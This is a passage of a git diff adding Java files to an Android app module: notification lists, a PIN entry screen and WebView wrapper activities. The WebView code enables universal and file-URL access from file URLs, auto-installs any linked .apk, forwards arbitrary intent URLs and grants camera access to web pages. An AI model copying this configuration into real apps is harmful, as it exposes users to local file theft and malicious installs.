(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + NotifyDetailsActivity.this.runOnUiThread(new Runnable() { + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public void run() { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(NotifyDetailsActivity.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(NotifyDetailsActivity.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + + + } + }); + + + } + + } + + }; + + private PermissionRequest permissionRequest; + +} diff --git a/base_bk88/src/main/java/com/web/base/NotifyListActivity.java b/base_bk88/src/main/java/com/web/base/NotifyListActivity.java new file mode 100644 index 0000000..7b58c8d --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/NotifyListActivity.java @@ -0,0 +1,129 @@ +package com.web.base; + +import android.content.Intent; +import android.net.Uri; +import android.os.Bundle; +import android.view.View; +import android.view.WindowManager; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +/** + * 通知列表 + */ +public class NotifyListActivity extends AppCompatActivity { + + private RecyclerView recyclerView; + private LinearLayoutManager manager; + private MyNotifyListAdapter adapter; + private List listdata = new ArrayList<>(); + private int userId = 2; + private int page = 1; + private boolean isNextPages = false; + + private MessageInfo messageInfoItem; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + userId = MainActivity2.getInt(NotifyListActivity.this,"user_code",userId); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifylist); + messageInfoItem = (MessageInfo) getIntent().getSerializableExtra("message"); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + recyclerView = findViewById(R.id.recycler_nofity); + manager = new LinearLayoutManager(this); + recyclerView.setLayoutManager(manager); + recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { + + @Override + public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { + int visibleCount = manager.getChildCount(); + int totalCount = manager.getItemCount(); + int firstvisibleCount = manager.findFirstVisibleItemPosition(); + if (visibleCount > 0 && visibleCount + firstvisibleCount == totalCount) { //滑动到底部 + if (!isNextPages) { +// Toast.makeText(NotifyListActivity.this, getString(R.string.app_toastloading), Toast.LENGTH_SHORT).show(); + return; + } + page++; + getNotifyList(); + } +// super.onScrolled(recyclerView, dx, dy); + } + }); + adapter = new MyNotifyListAdapter(NotifyListActivity.this, listdata,messageInfoItem); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(new MyNotifyListAdapter.onItemClickPostionListener() { + @Override + public void item(int position) { + try{ + MessageInfo messageInfo = listdata.get(position); + Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl())); + startActivity(intent); + }catch (Exception e){ + + } + + } + }); + getNotifyList(); + } + + public void getNotifyList() { + //通知列表 + Api.getInstance().getNotifyList(userId, page, 10) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if(o.data!=null){ + isNextPages = o.data.isHasNextPage(); + if (page == 1) { + listdata.clear(); + } + listdata.addAll(o.data.getList()); + adapter.setListdata(listdata); + + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + if (page > 1) { + page--; + } + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + if (page > 1) { + page--; + } + } + }); + } +} diff --git a/base_bk88/src/main/java/com/web/base/Result.java b/base_bk88/src/main/java/com/web/base/Result.java new file mode 100644 index 0000000..4251091 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/Result.java @@ -0,0 +1,29 @@ +package com.web.base; + + +import java.io.Serializable; + +/** + * created by wmm on 2020/9/8 + */ +public class Result implements Serializable { + + public String error; + public int code; + public T data; + public String message; + + + public boolean isSuccessful() { + return code == 1; + } + + @Override + public String toString() { + return "Result{" + + "message='" + error + '\'' + + ", code=" + code + + ", data=" + GsonUtils.beanToJSONString(data) + + '}'; + } +} diff --git a/base_bk88/src/main/java/com/web/base/ResultDataInfo.java b/base_bk88/src/main/java/com/web/base/ResultDataInfo.java new file mode 100644 index 0000000..21c09e1 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/ResultDataInfo.java @@ -0,0 +1,45 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class ResultDataInfo implements Serializable { + + public List list; + public int pages; + public int total; + public boolean hasNextPage; + + + public boolean isHasNextPage() { + return hasNextPage; + } + + public void setHasNextPage(boolean hasNextPage) { + this.hasNextPage = hasNextPage; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + public int getPages() { + return pages; + } + + public void setPages(int pages) { + this.pages = pages; + } + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } +} diff --git a/base_bk88/src/main/java/com/web/base/StartActivity.java b/base_bk88/src/main/java/com/web/base/StartActivity.java new file mode 100644 index 0000000..0361614 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/StartActivity.java @@ -0,0 +1,219 @@ +package com.web.base; + +import android.content.Intent; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import java.math.BigDecimal; + +public class StartActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, btn_equal; + private TextView password1; + private TextView password2; + private TextView password3; + private TextView password4; + private TextView password5; + private TextView password6; + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_start); + + setListener(); + getNetUrl(); + + } + + public void setListener() { + + + password1 = (TextView) findViewById(R.id.password_1); + password2 = (TextView) findViewById(R.id.password_2); + password3 = (TextView) findViewById(R.id.password_3); + password4 = (TextView) findViewById(R.id.password_4); + password5 = (TextView) findViewById(R.id.password_5); + password6 = (TextView) findViewById(R.id.password_6); + + + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + } + + String password = ""; + + /** + * 0 正常增加 1 删除 2 更新 + * + * @param string + * @param type + */ + public void addInput(String string, int type) { + if (type == 0) { + if (password.length() < 6) { + password += string; + } + } else if (type == 1) { + password = password.substring(0, password.length() - 1); + } + if (password.length() == 6) { + password6.setText(password.charAt(5) + ""); + toNext(); + } else { + password6.setText(""); + if (password.length() == 5) { + password5.setText(password.charAt(4) + ""); + } else { + password5.setText(""); + if (password.length() == 4) { + password4.setText(password.charAt(3) + ""); + } else { + password4.setText(""); + if (password.length() == 3) { + password3.setText(password.charAt(2) + ""); + } else { + password3.setText(""); + if (password.length() == 2) { + password2.setText(password.charAt(1) + ""); + } else { + password2.setText(""); + if (password.length() == 1) { + password1.setText(password.charAt(0) + ""); + } else { + password1.setText(""); + } + } + } + } + } + } + } + + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(StartActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + Handler handler = new Handler(); + + private void toNext() { + MainActivity.saveString(StartActivity.this, "loc_pass", password); + Intent intent = new Intent(StartActivity.this, MainActivity2.class); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + finish(); + + } + + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0", 0); +// break; +// case R.id.btn_1: +// addInput("1", 0); +// break; +// case R.id.btn_2: +// addInput("2", 0); +// break; +// case R.id.btn_3: +// addInput("3", 0); +// break; +// case R.id.btn_4: +// addInput("4", 0); +// break; +// case R.id.btn_5: +// addInput("5", 0); +// break; +// case R.id.btn_6: +// addInput("6", 0); +// break; +// case R.id.btn_7: +// addInput("7", 0); +// break; +// case R.id.btn_8: +// addInput("8", 0); +// break; +// case R.id.btn_9: +// addInput("9", 0); +// break; +// +// case R.id.btn_equal: +// deleteInput(); +// break; + } + } + + private void deleteInput() { + if (TextUtils.isEmpty(password)) { + addInput("", 2); + } else { + addInput(password, 1); + } + } + + @Override + protected void onDestroy() { + super.onDestroy(); + } +} \ No newline at end of file diff --git a/base_bk88/src/main/java/com/web/base/StatusLayout.java b/base_bk88/src/main/java/com/web/base/StatusLayout.java new file mode 100644 index 0000000..20a4941 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/StatusLayout.java @@ -0,0 +1,44 @@ +package com.web.base; + +import android.content.Context; +import android.util.AttributeSet; +import android.view.ViewGroup; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; + +/** + * Created by kiun_2007 on 2018/3/29. + */ + +public class StatusLayout extends LinearLayout { + public StatusLayout(Context context) { + this(context, null); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs) { + this(context, attrs, 0); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + } + + private int getStatusBarHeight(Context context) { + int result = 0; + int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = context.getResources().getDimensionPixelSize(resourceId); + } + return result; + } + + @Override + protected void onAttachedToWindow() { + ViewGroup.LayoutParams lp = this.getLayoutParams(); + lp.width = -1; + lp.height = getStatusBarHeight(getContext()); + this.setLayoutParams(lp); + super.onAttachedToWindow(); + } +} diff --git a/base_bk88/src/main/java/com/web/base/Utils.java b/base_bk88/src/main/java/com/web/base/Utils.java new file mode 100644 index 0000000..94629dc --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/Utils.java @@ -0,0 +1,65 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.SharedPreferences; +import android.provider.Settings; + +public class Utils { + + public static boolean isImageUrl(String url) { + String end = url.substring(url.lastIndexOf(".") + 1).toLowerCase(); + String[] images = new String[]{"jpeg", "png", "jpg", "bmp", "webp", "gif"}; + for (String name : images) { + if (end.equals(name)) { + return true; + } + } + return false; + } + + + public static String getUniqueId(Context context) { + + @SuppressLint("HardwareIds") + // ANDROID_ID是设备第一次启动时产生和存储的64bit的一个数,当设备被wipe后该数重置。 + String androidID = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); +// @SuppressLint("HardwareIds") + // String id = androidID + Build.SERIAL; // +硬件序列号 + return androidID; + +// try { +// return toMD5(id); +// } catch (NoSuchAlgorithmException e) { +// e.printStackTrace(); +// return id; +// } + } + + + /** + * @param @param key 要获取的key + */ + public static String get(Context context, String key, String defaultValue) { + SharedPreferences nameSetting = getConfigShared(context); + return nameSetting.getString(key, defaultValue); + } + + /** + * @param key 要设置的key + */ + public static void set(Context activity, String key, String is) { + SharedPreferences nameSetting = getConfigShared(activity); + SharedPreferences.Editor namePref = nameSetting.edit(); + namePref.putString(key, is); + namePref.commit(); + } + + public static SharedPreferences getConfigShared(Context context) { + + SharedPreferences sharedPreferences = + context.getSharedPreferences("notify_data", Context.MODE_MULTI_PROCESS); + return sharedPreferences; + } + +} diff --git a/base_bk88/src/main/java/com/web/base/WebView2Activity.java b/base_bk88/src/main/java/com/web/base/WebView2Activity.java new file mode 100644 index 0000000..0bf6199 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/WebView2Activity.java @@ -0,0 +1,328 @@ +package com.web.base; + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.ConsoleMessage; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + + +public class WebView2Activity extends AppCompatActivity { + + private String url; + WebView webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_webview); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + settings.setMediaPlaybackRequiresUserGesture(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebView2Activity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { + LogUtils.d("consolemessage==" + consoleMessage.message()); + return true; + } + + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + } + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebView2Activity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + webView.goBack(); + } else {//不能返回了 + WebView2Activity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_bk88/src/main/java/com/web/base/WebViewActivity.java b/base_bk88/src/main/java/com/web/base/WebViewActivity.java new file mode 100644 index 0000000..e8aa8a4 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/WebViewActivity.java @@ -0,0 +1,451 @@ +package com.web.base; + + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + +public class WebViewActivity extends AppCompatActivity { + + private String url; + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebViewActivity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + 